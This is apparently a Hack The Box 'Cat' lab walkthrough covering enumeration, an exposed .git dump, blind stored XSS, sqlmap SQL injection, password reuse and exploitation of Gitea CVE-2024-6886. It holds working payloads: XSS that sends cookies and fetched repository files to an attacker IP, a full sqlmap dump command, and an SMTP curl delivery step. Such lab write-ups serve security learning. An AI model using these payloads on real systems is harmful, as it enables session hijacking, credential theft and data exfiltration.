# HTB - CAT (Linux/Medium)

### Ports & Services Scanning

Command : `sudo nmap 10.10.11.53 -sC -sV -v`

<figure><img src="https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2F4q87IPScRb6r1ozte5Uz%2FScreenshot%202025-06-13%20121538.png?alt=media&#x26;token=bde3ea40-68f8-4b89-a236-d640a633f741" alt=""><figcaption></figcaption></figure>

Open ports: 22 (ssh) & 80 (http); Cannot proceed with port 22 now, as no credentials; So, moving forward with port 80, webserver eumeration.

### Web Enumeration

> Add **cat.htb** domain in **/etc/hosts** file to proceed

<figure><img src="https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2Fe4FrimOl7tXg8SvANY0j%2FScreenshot%202025-06-13%20121716.png?alt=media&#x26;token=8cd93aa3-0407-49f5-8ed0-8851592680b7" alt=""><figcaption></figcaption></figure>

#### Directory & File Fuzzzing

Command: `ffuf -w ~/Downloads/common.txt -u 'http://cat.htb/FUZZ' -c`&#x20;

![](https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2FvmYQf3lweOFCTlGvot8q%2FScreenshot%202025-06-13%20122208.png?alt=media\&token=2bb66c0b-7016-4bcc-a7ad-55560f3d829e) Found exposed `.git` directory, even though accessing the directory is **forbidden**, the files are still readable. So, used git-dumper to dump it: <https://github.com/arthaud/git-dumper>

### Source Code Analysis

![](https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2FkLgGxsmlLRU8omirsDo1%2FScreenshot%202025-06-13%20123002.png?alt=media\&token=b62c4f45-b72b-4903-b155-b595991a89a8) Now, I have the source code. I can further analyze it to find any business log flaw or insecure coding practices.&#x20;

After analyzing the source code, I understood the workflow of the application. Also, I got to know that the application uses **SQLite** database and the admin username is **axel**.

<figure><img src="https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2Ff7zL6yIPhRJPLtLPGkq3%2Fhtb_cat.png?alt=media&#x26;token=6cc99242-94e8-4f55-9ff3-b44695d9fa8e" alt=""><figcaption></figcaption></figure>

![](https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2FehsZQ44EwdpzX3T3G8z3%2FScreenshot%202025-06-13%20123518.png?alt=media\&token=cd1b68e9-8969-45bc-bbbb-da1e8ad4e095) The registration process has no input validation in place, any input can be passed to it and it will be stored in the database.

![](https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2Fj1RNvhwnVfI4QeEWTRB5%2FScreenshot%202025-06-13%20123903.png?alt=media\&token=1c6d4742-6126-4ad0-8d1f-9ea0c15ae512)Also, the admin fetched the username from the database and renders in its browser.

![](https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2F5zsR6RGcWEZZDUpmDQvH%2FScreenshot%202025-06-13%20124517.png?alt=media\&token=7219425d-ac3e-43dc-962c-e88ed00614b7) So, it is clear that it is vulnerable to **Blind Stored XSS**.

### Blind Stored XSS Exploitation

I can use the XSS to hijack the admin session. Created a payload of this purpose:  \<script>fetch("http\://\<IP>:\<port>/cookie="+document.cookie)\</script>

For the XSS to execute, there is a few steps process found after analysing  the source code:

1. Create an account with payload as username
2. Login to the account
3. Start a simple server to capture the cookie (like python simple http server)
4. Registered a new cat, without this admin will not open the view\_cat.php and payload won't execute.

<figure><img src="https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2F8viUyDBb13FCf1jgt6GU%2FScreenshot%202025-06-13%20130020.png?alt=media&#x26;token=ebed4a2b-7901-4bcb-9aa9-20ecab66744c" alt=""><figcaption></figcaption></figure>

After getting the admin session, assessed it to searched for further attack vectors. There is a upload function so check if vulnerable to File Upload but not. Re-visiting the source code, found out that **accept\_cat.php** has an INSERT statement, it seems to vulnerable to **SQLi** as user input is directly passed into the SQL query. Whereas, DELETE statement is not vulnerable as user input is passed as parameter and **bindParam** function is used that prevents SQLi.

<figure><img src="https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2FoRpAFoscPz1sVlvflIjK%2FScreenshot%202025-06-14%20005347.png?alt=media&#x26;token=7dad1da2-04f7-4fb9-ad83-bc211723aead" alt=""><figcaption></figcaption></figure>

### SQLi Exploitation

After trying several commands via SQLMap, finally crafted a working command that helped me dump the tables. Among the tables, got a useful table: **users**

Command: `sqlmap -u 'http://cat.htb/accept_cat.php' -X POST -H 'Cookie: PHPSESSID=m8ct8kgdcm8u8q1jlq1f6tirso' --data 'catName=aa&catId=1' -p catName --random-agent --parse-error --dbms=sqlite --level=5 --risk=3 --dump --batch --threads 10`

![](https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2FdA2VAdpHDBRt8LqCBTGy%2FScreenshot%202025-06-14%20003337.png?alt=media\&token=b17fc790-2f00-4462-9633-bb13efd9f9ae) Cracking the hashes using **CrackStation** got one plain text password. Then tried to SSH into that user with the credentials and succeeded.

![](https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2F1sWBjSSyVss3jFQoT5gS%2FScreenshot%202025-06-14%20011151.png?alt=media\&token=16999438-8a80-4179-99a9-3935dd6cb146) This user has no flag, and not a sudo user as well, but it is in **adm** group which allows it to read log files. So, it is clear that there must be something in logs.

### Lateral Movement

![](https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2FtAi3NsaFspJwgesRKRB2%2FScreenshot%202025-06-14%20011945.png?alt=media\&token=1ed076a5-9210-4d7d-8600-7e709c754d83) Started a simple python http server on my machine and downloaded **linpeas** in the target machine and executed it. After analysing the results, I found few files that grabbed my attention: `/var/log/apache2/access.log`, `/var/log/apache2/error.log`, `/var/log/audit/audit.log`

![](https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2F67TAMq9jwyC0D16nFowa%2FScreenshot%202025-06-14%20020913.png?alt=media\&token=ff1970e0-9883-47fd-a26a-0dd2246e9d52) From the **log file analysis,** I found credential of another user, he used to log into the web appliaction. So, it is possible that he reused the password, it is worth to try if it works to log into the system with that password. It worked, the user has reused the password.

<figure><img src="https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2FVgbg0A8vqcrnYStQIeNY%2FScreenshot%202025-06-14%20021155.png?alt=media&#x26;token=4dd1970b-35da-425b-8b39-cff78cbca45f" alt=""><figcaption><p>User Flag Retrived</p></figcaption></figure>

#### Further Enumeration as current user

Again, the same process of downloading the linpeas and executing it. After analysing the result, there is nothing effective. But then eyes caught 2 mail files for this user: `/var/mail/axel`, `/var/spool/mail/axel`

Analyzing them, found out that there is a **gitea** service running locally at port **3000**, verified by checking `netstat -tulpn`

<figure><img src="https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2FXSYtzUn5YhQTSRBnxUS6%2FScreenshot%202025-06-14%20022945.png?alt=media&#x26;token=fc763765-d808-4a25-8de1-ecab7f4465e2" alt=""><figcaption></figcaption></figure>

#### Local Port Forwarding

To access the internal applicaiton via my machine, command: `ssh -L 9999:localhost:3000 axel@cat.htb`

To login to gitea, it was quite possible that the user again reused its password. The user indeed reused, and I got log into its gitea account:\
![](https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2FYWLSeT0roRfz3X3BQWtc%2FScreenshot%202025-06-14%20023858.png?alt=media\&token=d3a91a3e-9670-4b52-8b89-56aa6b9973ad) Enumerating it, did not found anything. Then I saw its version being exposed at the footer. Searched for vulnerabilities and got Stored XSS vulnerability (`CVE-2024-6886`) along with Steps to Reproduce: <https://www.exploit-db.com/exploits/52077>

<figure><img src="https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2F2UfYhtC9Al35cfOh74si%2FScreenshot%202025-06-14%20113650.png?alt=media&#x26;token=36feb183-d336-4673-a259-785d1709b6fc" alt=""><figcaption></figcaption></figure>

#### CVE-2024-6886 Exploitation

Now the email makes sense, I have to send a mail to `jobert@localhost` and the XSS will be executed. So, I can try to steal the session again.

Now, I need a way to **send mail to that user via CLI**. I have no idea about it. Further reseaching, I found **telnet** can be used. I found port **587** open which is for SMPT but required authentication, and the auth format is not supported with telnet. So moved forward to find alternatives and then I found that even **curl** can be used.  For authentication, tried current username and password but failed this time. So, further analysing I came to know that port **25** is also open, which I overlooked and got to know that it is also SMTP port.

Now, to reporduce:

1. Create repo
2. Create mail.txt with link in it
3. Start python simple http server
4. Send the mail `curl --url "smtp://127.0.0.1:25" --mail-from "axel@cat.htb" --mail-rcpt "jobert@localhost" --upload-file mail.txt`

I got no session cookie:

<figure><img src="https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2FoPTjAtKuELDkKpYQ6Q5M%2FScreenshot%202025-06-14%20104141.png?alt=media&#x26;token=753878d4-5a42-42b1-8ee5-e931b6d814ce" alt=""><figcaption></figcaption></figure>

<figure><img src="https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2Fam5nOqjwAShQezSiT0Ca%2FScreenshot%202025-06-14%20104414.png?alt=media&#x26;token=cb37270f-d3ae-4d8a-a782-a4b24b3d08d7" alt=""><figcaption></figcaption></figure>

Analysing the cause, why I did not got the cookie. I found out that if **HttpOnly** is used then JS cannot capture the cookie. So, I need to find some other way.

<figure><img src="https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2FvF1RigrZCdQ00ahnJiKF%2FScreenshot%202025-06-14%20104454.png?alt=media&#x26;token=18bd792c-9400-4791-9306-7f946f70e089" alt=""><figcaption></figcaption></figure>

After trial-and-error, I crafted another payload to read the README.md file specified in the mail:

```
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md').then(res=>res.text()).then(data=>fetch('http://<MY-IP>:11111?data='+encodeURIComponent(data))).catch(err=>fetch('http://<MY-IP>:11111?err='+encodeURIComponent(err)))">XSS test</a>
```

<figure><img src="https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2F4t2ZNT0oh1K4dvipZX7P%2FScreenshot%202025-06-14%20111852.png?alt=media&#x26;token=71e6947c-bc38-4636-9af4-d2893c488589" alt=""><figcaption></figcaption></figure>

After decoding the URL encoded data, I found:&#x20;

*# Employee Management*&#x20;

*Site under construction. Authorized user: admin. No visibility or updates visible to employees.*

This is not useful. After thinking, the mail says that they are developing an **Employee Management System**. So, its file structure would be same as the source code I got. So, this time, I tried to fetch the **index.php** page:

```
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(res=>res.text()).then(data=>fetch('http://<MY-IP>:11111?data='+encodeURIComponent(data))).catch(err=>fetch('http://<MY-IP>:11111?err='+encodeURIComponent(err)))">XSS test</a>
```

<figure><img src="https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2F8IOyIvAJ22BaWEXcGBVI%2FScreenshot%202025-06-14%20112822.png?alt=media&#x26;token=224f1f91-ab6b-4da9-b50b-3b6d96d0961e" alt=""><figcaption></figcaption></figure>

Decoding the URL encoded data I found admin credentials:

<figure><img src="https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2FgkFf6CXFw7pYFo7kZ0D3%2FScreenshot%202025-06-14%20112933.png?alt=media&#x26;token=59f45488-629f-4491-a1f6-3a20005c3f97" alt=""><figcaption></figcaption></figure>

Now, it is possible that the `root` user might have used this password. So, tried to switch to `root` using this password and succeed.

### Root Flag

<figure><img src="https://839608155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fd5UVmY42sKHMWPJK9UoN%2Fuploads%2FYstYkGVzbWkxQigCPxJX%2FScreenshot%202025-06-14%20113112.png?alt=media&#x26;token=393988c7-b419-4791-8f2c-2fc110badbc0" alt=""><figcaption></figcaption></figure>

### What new I Learned?

* Sending mail via CLI
* Risk of password reuse
* Source Code Analysis
